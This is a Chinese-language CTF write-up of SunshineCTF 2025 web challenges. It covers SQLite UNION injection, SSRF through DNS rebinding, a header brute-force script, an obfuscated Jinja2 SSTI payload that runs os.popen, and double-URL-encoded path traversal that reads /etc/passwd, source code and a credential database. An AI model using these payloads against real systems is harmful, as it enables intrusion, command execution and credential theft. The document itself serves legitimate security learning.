SunshineCTF 2025 wp及复现
SunshineCTF 2025
第一次国际赛,记录一下
Lunar Shop
sqlite 注入
-1 union select 1,2,3,4
-1 union select 1,2,3,sqlite_version() //3.50.4
-1 union select 1,2,3,(select group_concat(sql) from sqlite_master)
/*
CREATE TABLE products ( id INTEGER PRIMARY KEY AUTOINCREMENT, name TEXT NOT NULL UNIQUE, description TEXT NOT NULL, price TEXT NOT NULL ),CREATE TABLE sqlite_sequence(name,seq),CREATE TABLE flag ( id INTEGER PRIMARY KEY AUTOINCREMENT, flag TEXT NOT NULL UNIQUE )
*/
-1 union select 1,2,3,(select flag from flag)--
//sun{baby_SQL_injection_this_is_known_as_error_based_SQL_injection_8767289082762892}
Intergalactic Webhook Service
import threading
from flask import Flask, request, abort, render_template, jsonify
import requests
from urllib.parse import urlparse
from http.server import BaseHTTPRequestHandler, HTTPServer
import socket
import ipaddress
import uuid
def load_flag():
with open('flag.txt', 'r') as f:
return f.read().strip()
FLAG = load_flag()
class FlagHandler(BaseHTTPRequestHandler):
def do_POST(self):
if self.path == '/flag':
self.send_response(200)
self.send_header('Content-Type', 'text/plain')
self.end_headers()
self.wfile.write(FLAG.encode())
else:
self.send_response(404)
self.end_headers()
threading.Thread(target=lambda: HTTPServer(('127.0.0.1', 5001), FlagHandler).serve_forever(), daemon=True).start()
app = Flask(__name__)
registered_webhooks = {}
def create_app():
return app
@app.route('/')
def index():
return render_template('index.html')
def is_ip_allowed(url):
parsed = urlparse(url)
host = parsed.hostname or ''
try:
ip = socket.gethostbyname(host)
except Exception:
return False, f'Could not resolve host'
ip_obj = ipaddress.ip_address(ip)
if ip_obj.is_private or ip_obj.is_loopback or ip_obj.is_link_local or ip_obj.is_reserved:
return False, f'IP "{ip}" not allowed'
return True, None
@app.route('/register', methods=['POST'])
def register_webhook():
url = request.form.get('url')
if not url:
abort(400, 'Missing url parameter')
allowed, reason = is_ip_allowed(url)
if not allowed:
return reason, 400
webhook_id = str(uuid.uuid4())
registered_webhooks[webhook_id] = url
return jsonify({'status': 'registered', 'url': url, 'id': webhook_id}), 200
@app.route('/trigger', methods=['POST'])
def trigger_webhook():
webhook_id = request.form.get('id')
if not webhook_id:
abort(400, 'Missing webhook id')
url = registered_webhooks.get(webhook_id)
if not url:
return jsonify({'error': 'Webhook not found'}), 404
allowed, reason = is_ip_allowed(url)
if not allowed:
return jsonify({'error': reason}), 400
try:
resp = requests.post(url, timeout=5, allow_redirects=False)
return jsonify({'url': url, 'status': resp.status_code, 'response': resp.text}), resp.status_code
except Exception:
return jsonify({'url': url, 'error': 'something went wrong'}), 500
if __name__ == '__main__':
print('listening on port 5000')
app.run(host='0.0.0.0', port=5000)
5001 端口有 flag 服务,应该要想办法 ssrf
在 register 路由注册后可以到 trigger 路由访问,问题在于 url 有 waf
def is_ip_allowed(url):
parsed = urlparse(url)
host = parsed.hostname or ''
try:
ip = socket.gethostbyname(host)
except Exception:
return False, f'Could not resolve host'
ip_obj = ipaddress.ip_address(ip)
if ip_obj.is_private or ip_obj.is_loopback or ip_obj.is_link_local or ip_obj.is_reserved:
return False, f'IP "{ip}" not allowed'
return True, None
打一个 302?
好像不行,allow_redirects=False

研究了一下 DNS 重绑定,这里有个问题是 register 的时候会检查一次,trigger 的时候会检查一次,到第二次就被拦下来了
不知道能不能自己写一个 dns 重绑定来打,但是我没有域名
复现:
思路是对的,整一个 dns 重绑定来打,这里我自己傻逼了,搞一个随机访问总有一次能访问下来,但是这里 flag 在/flag 路由,我之前一直只打了 5001 端口没打路由
https://lock.cmpxchg8b.com/rebinder.html

Web Forge
到难题领域了,尝试一下吧
可以用扫描器,但是有速率限制,开一个 10 线程的慢慢扫一下
User-agent: *
Disallow: /admin
Disallow: /fetch
# internal SSRF testing tool requires special auth header to be set to 'true'
提示 ssrf 需要一个特殊的头,试了一下常见的 auth 头都不行

几个 8B 的文件访问出来都是“healthy”,然后发现路由带 health 都会这样
何意味?
复现:
突破点就在这个特殊头
我们可以爆破一下所有头,不一定是 auth 相关
import requests
http_headers = [
"Accept",
"Accept-CH",
"Accept-CH-Lifetime",
"Accept-Charset",
"Accept-Encoding",
"Accept-Language",
"Accept-Patch",
"Accept-Post",
"Accept-Ranges",
"Access-Control-Allow-Credentials",
"Access-Control-Allow-Headers",
"Access-Control-Allow-Methods",
"Access-Control-Allow-Origin",
"Access-Control-Expose-Headers",
"Access-Control-Max-Age",
"Access-Control-Request-Headers",
"Access-Control-Request-Method",
"Age",
"Allow",
"Alt-Svc",
"Alt-Used",
"Authorization",
"Cache-Control",
"Clear-Site-Data",
"Connection",
"Content-Disposition",
"Content-DPR",
"Content-Encoding",
"Content-Language",
"Content-Length",
"Content-Location",
"Content-Range",
"Content-Security-Policy",
"Content-Security-Policy-Report-Only",
"Content-Type",
"Cookie",
"Critical-CH",
"Cross-Origin-Embedder-Policy",
"Cross-Origin-Opener-Policy",
"Cross-Origin-Resource-Policy",
"Date",
"Device-Memory",
"Digest",
"DNT",
"Downlink",
"DPR",
"Early-Data",
"ECT",
"ETag",
"Expect",
"Expect-CT",
"Expires",
"Forwarded",
"From",
"Host",
"If-Match",
"If-Modified-Since",
"If-None-Match",
"If-Range",
"If-Unmodified-Since",
"Keep-Alive",
"Last-Modified",
"Link",
"Location",
"Max-Forwards",
"NEL",
"Origin",
"Permissions-Policy",
"Pragma",
"Proxy-Authenticate",
"Proxy-Authorization",
"Range",
"Referer",
"Referrer-Policy",
"Refresh",
"Retry-After",
"RTT",
"Save-Data",
"Sec-CH-Prefers-Color-Scheme",
"Sec-CH-Prefers-Reduced-Motion",
"Sec-CH-UA",
"Sec-CH-UA-Arch",
"Sec-CH-UA-Bitness",
"Sec-CH-UA-Full-Version",
"Sec-CH-UA-Full-Version-List",
"Sec-CH-UA-Mobile",
"Sec-CH-UA-Model",
"Sec-CH-UA-Platform",
"Sec-CH-UA-Platform-Version",
"Sec-Fetch-Dest",
"Sec-Fetch-Mode",
"Sec-Fetch-Site",
"Sec-Fetch-User",
"Sec-WebSocket-Accept",
"Server",
"Server-Timing",
"Service-Worker-Navigation-Preload",
"Set-Cookie",
"SourceMap",
"Strict-Transport-Security",
"Supports-Loading-Mode",
"TE",
"Timing-Allow-Origin",
"Tk",
"Trailer",
"Transfer-Encoding",
"Upgrade",
"Upgrade-Insecure-Requests",
"User-Agent",
"Vary",
"Via",
"Viewport-Width",
"Warning",
"Width",
"WWW-Authenticate",
"X-Content-Type-Options",
"X-DNS-Prefetch-Control",
"X-Frame-Options",
"X-Requested-With",
"X-XSS-Protection",
]
url = "https://wormhole.sunshinectf.games/fetch"
value = "true"
ok_list = []
session = requests.Session()
print("[+]Start Header Burte-Force")
for header in http_headers:
req_header = {header: value}
r = session.get(url, headers=req_header)
print(f"[*]GET Header: {req_header} | Response: [{r.status_code}]")
if r.status_code == 200:
ok_list.append(req_header)
print("[-]End Header Burte-Force")
print("[+]Result:")
for i in ok_list:
print(f"-{i[0]}: {i[1]}")

可以发现 Allow 头
进入后就是一个 ssrf 页面
尝试访问/admin 路由

You're trying to access /admin but forgot the ?template= parameter
这个参数猜测是用于访问模板文件的,测试一下
**url**=**http%3A%2F%2F127.0.0.1%2Fadmin%3ftemplate%3D..%2F..%2F..%2F..%2Fetc%2Fpasswd**
ERROR: HTTPConnectionPool(host='127.0.0.1', port=80): Max retries exceeded with url: /admin?template=../../../../etc/passwd (Caused by NewConnectionError('<urllib3.connection.HTTPConnection object at 0x7989bc777bd0>: Failed to establish a new connection: [Errno 111] Connection refused'))
这样打就出现端口问题了,尝试了一下端口是 8000,或者爆破一下也行
访问出来之后发现不是读文件,那也可能是模板注入

试了一下过滤了.号,不知道有没有别的,打现成的 payload
{{g['pop']['\x5f\x5fglob'+'als\x5f\x5f']['\x5f\x5fbuil'+'tins\x5f\x5f']['\x5f\x5fimp'+'ort\x5f\x5f']('o'+'s')['po'+'pen']('ls')['read']()}}
flag.txt 也有点,可以用*或者\x2e 绕过,记得 url 编码一下
Lunar File Invasion
# don't need web scrapers scraping these sensitive files:
Disallow: /.gitignore_test
Disallow: /login
Disallow: /admin/dashboard
Disallow: /2FA
# this tells the git CLI to ignore these files so they're not pushed to the repos by mistake.
# this is because Muhammad noticed there were temporary files being stored on the disk when being edited
# something about EMACs.
# From MUHAMMAD: please make sure to name this .gitignore or it will not work !!!!
# static files are stored in the /static directory.
/index/static/login.html~
/index/static/index.html~
/index/static/error.html~
好像是一些临时文件
其他几个泄露的路由都需要 login
去看看这些文件,只有 login.html~能下下来
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Admin Panel</title>
</head>
<body>
<div>
<img src="" alt="Image of Alien">
<form action="{{url_for('index.login')}}" method="POST">
<!-- TODO: use proper clean CSS stylesheets bruh -->
<p style="color: red;"> {{ err_msg }} </p>
<input type="hidden" name="csrf_token" value="{{ csrf_token() }}" />
<label for="Email">Email</label>
<input value="admin@lunarfiles.muhammadali" type="text" name="email">
<label for="Password">Password</label>
<!-- just to save time while developing, make sure to remove this in prod ! -->
<input value="jEJ&(32)DMC<!*###" type="text" name="password">
<button type="submit">Login</button>
</form>
</div>
</body>
</html>
泄露了账密,login 一下

我超,还有验证码,可以不管直接先进 /admin/dashboard
在 manage file 的页面有三个 secret
secret1
We updated our protections against attackers abusing one of the routes to download files they should not be able to.
The only issue is we're not sure how they keep getting in. Tell Muhammad to fix this janky website bro, what are we paying him
our LunarCoins for??
Alimuhammadsecured: yo my bad, I was busy sleeping --_--, we need sleep bro we're not like Y'all.
secret2
From Muhammad:
so we triggered IR, one of the attackers somehow got their hands on our /etc/passwd file because it's on every Linux machine.
I did some research and a lot of the techniques they did were from Hacktricks website! 😦((
secret3
TODOS:
- update the .GITIGNORE file
- Rate SunshineCTF good plez
- fill out the feedback form when the CTF is over, it's on our discord server 😉
抓包发现查看文件时实际上是访问了
https://asteroid.sunshinectf.games/admin/download/secret3.txt
文件名是拼接在路由里的,这能做什么吗?
到这里卡住了
复现:
最有渗透感觉的一题,大概扫了一眼 wp 但没细看,再尝试一下
这个拼接路由理论上是可以路径遍历的,当时只在 url 试没有抓包,而且也没什么时间,所以多试一下
然后发现 ../../etc/passwd 文件不存在,但是 ../../../etc/passwd 就 400 了
url 编码也不行,怀疑有 waf 或者一些解析问题
好吧,去看了 wp,是通过二次 url 编码结合 .././ 解决的
https://asteroid.sunshinectf.games/admin/download/..%252f.%252f..%252f.%252f..%252fapp.py
而且这里我绕了很多层都没读到/etc/passwd,倒是能读源码
在另一个 wp 中,大佬读出了/etc/passwd
%252E%252F%252E%252E%252F%252E%252F%252E%252E%252F%252E%252F%252E%252E%252F%252E%252F%252E%252E%252F%252E%252F%252E%252E%252F%252E%252F%252E%252E%252F%252E%252F%252E%252E%252F%252E%252F%252E%252E%252F%252E%252F%252E%252E%252F%252E%252F%252E%252E%252Fetc%252Fpasswd
走了十层,看来是我还没走到
读出源码
import os
with open("./FLAG/flag.txt", "r") as f:
FLAG = f.read()
from flask import *
from flask_login import (
LoginManager,
login_user,
login_required,
logout_user,
current_user,
)
from flask_wtf.csrf import CSRFError
# blueprint stuff:
from models import *
from admin import admin_blueprint
from index import index_blueprint
# ^^ this is what I meant by:
# "the dir is"
# treated as a package in a sense.
# global
from extensions import *
# clean up the login page and make it functional then we can start piecing together the LFI dashboard
# functionality too
# Initializing the app-specific stuff:
app = Flask(__name__)
# registering the blueprint
app.register_blueprint(admin_blueprint, url_prefix="/admin")
app.register_blueprint(index_blueprint, url_prefix="/")
# app.static_folder = 'global_static'
app.config["SECRET_KEY"] = os.urandom(64).hex()
bcrypt_object.init_app(app)
# since we're directly pass in the app object we can directly use it in our templates with JINJA2 syntax
csrf.init_app(app)
# I know for a fact ppl will try to bruteforce the pin which is millions of requests,
# we're stopping that before it begins with the default rate-limit being set to 5 requests/second.
# TODO: remove this, just use NGINX, kills 2 birds with 1 stone bcs we can also config passwd for kev's test instance.
# Initialize Flask-Login
login_manager = LoginManager()
login_manager.init_app(app)
login_manager.login_view = (
"index.login" # Redirect to admin login page if not logged in
)
# the way this works is it checks if current_user.is_authenticated is set to True, this value is retrieved from
# the load_user() function (so it's called everytime implicitly on routes that have the @login_required() decorator
@login_manager.user_loader
def load_user(user_id):
return session.query(User).get(user_id)
################################################################
# Wrapper for Error handling any invalid CSRF tokens.
@app.errorhandler(CSRFError)
def handle_csrf_error(error):
return render_template(
"error.html",
err_msg=f"[ Invalid CSRF Token, if this persists please enable JavaScript. ]",
), 400
################################################################
def create_app():
return app
if __name__ == "__main__":
app = create_app()
app.run(host="0.0.0.0", port=8000, debug=False)
给了 flag 路径,直接读

sun{lfi_blacklists_ar3_sOo0o_2O16_8373uhdjehdugyedy89eudioje}
**Something Else: **
我还是很好奇这个 2FA 是什么
看到了这篇 wp
不知道怎么找到的有一个 views.py 和 models.py,没太看懂他的 wp,好像是遍历出来的?但是这个走的层数也都不一样,总之就是很奇怪
import urllib
import os
from flask import*
from flask_login import login_required, logout_user
from models import*
from . import admin_blueprint
# ~~~ import the Blueprint from __init__.py
@admin_blueprint.route('/lunar_files')
@login_required
def lunar_files():
# we're using URL encoding to squash any XSS
err_msg = request.args.get("err_msg")
err_msg = err_msg if err_msg != None else ""
dict_list: list = get_all_files()
return render_template('lunar_files.html', dict_list=dict_list, err_msg=err_msg)
@admin_blueprint.route('/download/<**path:fname**>')
@login_required
def download(fname):
try:
base_dir = admin_blueprint.root_path+'/'+'templates/Internal_Lunar_Files'
fname = fname.strip().rstrip()
# we had to URL encode the names in the front-end to prevent any XSS, this is needed
# this is exactly what allows the LFI to work too >:) ^^^ (keeping it realistic)
# NOTE: ^ not true, I just tested it, Python will implicitly URLDecode the fname variables
# as it's configured to be a <**path**>
fname = urllib.parse.unquote(base_dir+'/'+fname)
print(f"[ Fname we are checking ]: {fname}")
if not os.path.isfile(fname):
return redirect(url_for("admin.lunar_files", err_msg="[ Resource Does not Exist! ]"))
# Return the file
if fname.count("../../") != 0:
return redirect(url_for("admin.lunar_files", err_msg="[ Succession of \'../../\' detected, forbidden ]"))
return send_file(fname, as_attachment=True)
except Exception as err:
return jsonify({"ERR": f"An Error Occured ! "})
@admin_blueprint.route('/dashboard', methods=['GET', 'POST'])
@login_required
def dashboard():
return redirect(url_for('admin.help'))
@admin_blueprint.route('/help', methods=['GET'])
@login_required
def help():
return render_template('help.html')
@admin_blueprint.route('/logout', methods=['GET'])
@login_required
def logout():
logout_user()
return redirect(url_for('index.login'))
可以看到逻辑确实是 ban 了 ../../,路径是直接做拼接的
import bcrypt
from sqlalchemy import create_engine, Column, Integer, String
from flask_login import UserMixin
from sqlalchemy.ext.declarative import declarative_base
from sqlalchemy.orm import sessionmaker
# Set up the database
engine = create_engine('sqlite:///database.db', echo=True)
# this is how SQLAlchemy tracks the tables you define via the class directive
Base = declarative_base()
# Create a session
Session = sessionmaker(bind=engine)
session = Session()
# Define model classes (tables)
# UserMixin -> allows it to work with the Flask-login
# for example it allows us to do stuff like current_user.password and more.
class User(Base, UserMixin):
__tablename__ = 'users'
id = Column(Integer, primary_key=True)
email = Column(String, unique=True)
password = Column(String)
pin = Column(String)
# authed = False
# can't do this bcs it's only persistent in current response, if we wanted it to remain
# in another route like 2FA after going to dashboard we'd need to .commit() it to the DB
def __repr__(self):
return f"<**User**( **email**='{self.email}', **password**='{self.password}', **pin**='{self.pin}' )>"
class File(Base, UserMixin):
__tablename__ = 'files'
id = Column(Integer, primary_key=True)
name = Column(String, unique=True)
def __repr__(self):
return f"<**File**( **name**='{self.name}' )>"
# general functions:
def hash_password(password: str):
# Generates salt (Bcrypt does for us), hashes password, replaces plaintext password with a secure hash.
hashed_password = bcrypt.hashpw(password.encode('utf-8'), bcrypt.gensalt())
# Store the hashed password
return hashed_password
def get_user_by_email(email):
# Query for a specific email
user = session.query(User).filter_by(email=email).first()
return user
def get_pin_by_email(email):
# using email query for their pin:
user = session.query(User).filter_by(email=email).first()
return user.pin
def get_all_files() -> list:
# Query for all of the files in the database
internal_files = session.query(File).all()
if internal_files == None:
return [{}]
files_list = []
for idx,element in enumerate(internal_files):
files_list.append({'id': idx+1, 'name': element.name})
return files_list
pin 实际是存在的,和用户信息一起存在数据库中
可以读到数据库
/admin/download/..%252f.%252f..%252f.%252f..%252fdatabase.db
ai 写了个脚本去读,因为我没有 sqlite 交互工具
import sqlite3
# 连接数据库
conn = sqlite3.connect('database.db')
cursor = conn.cursor()
# 读取 users 表所有数据
cursor.execute('SELECT id, email, password, pin FROM users')
users = cursor.fetchall() # 获取所有记录,返回列表(每个元素是一条用户数据的元组)
# 打印结果
for user in users:
print(f"用户ID:{user[0]},邮箱:{user[1]},哈希密码:{user[2]},PIN:{user[3]}")
# 关闭连接
cursor.close()
conn.close()
#用户ID:1,邮箱:admin@lunarfiles.muhammadali,哈希密码:b'$2b$12$ILEuPxDf6Y.X.k60w.EUCu78tgTxe77hTq052tQoN4wHndULWKaoa',PIN:8109267091
输入 pin 就是跳转到 dashboard 路由,后面就一样了

浙公网安备 33010602011771号